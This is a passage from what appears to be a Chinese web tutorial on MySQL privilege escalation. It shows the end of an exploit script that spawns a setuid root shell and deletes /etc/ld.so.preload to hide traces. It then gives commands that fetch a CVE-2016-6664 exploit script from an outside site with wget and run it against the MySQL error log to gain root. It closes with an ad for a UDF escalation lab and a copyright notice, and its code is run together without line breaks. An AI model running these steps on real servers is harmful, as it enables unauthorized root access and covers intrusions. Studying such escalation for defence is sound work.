"n[!] Failed to get root" cleanexit 2fi# Execute the rootshellecho -e "n[ ] Spawning the rootshell $BACKDOORPATH now! n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0
在剛才mysql權(quán)限的shell中下載提權(quán)腳本并執(zhí)行,即可得到root權(quán)限
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log
點(diǎn)擊鏈接開始實(shí)驗(yàn):實(shí)驗(yàn):MySQL提權(quán)(合天網(wǎng)安實(shí)驗(yàn)室)
udf通過(guò)添加新函數(shù),對(duì)MySQL的功能進(jìn)行擴(kuò)充,使用UDF提權(quán)原理就是通過(guò)引入udf.dll,引入自定義函數(shù),執(zhí)行系統(tǒng)命令。通過(guò)實(shí)驗(yàn)學(xué)習(xí)真實(shí)滲透場(chǎng)景中的MySQL udf提權(quán)方法,掌握兩種dll文件導(dǎo)入方式,通過(guò)udf提權(quán)執(zhí)行系統(tǒng)命令。
版權(quán)聲明:本文內(nèi)容由互聯(lián)網(wǎng)用戶自發(fā)貢獻(xiàn),該文觀點(diǎn)僅代表作者本人。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如發(fā)現(xiàn)本站有涉嫌抄襲侵權(quán)/違法違規(guī)的內(nèi)容, 請(qǐng)發(fā)送郵件至 舉報(bào),一經(jīng)查實(shí),本站將立刻刪除。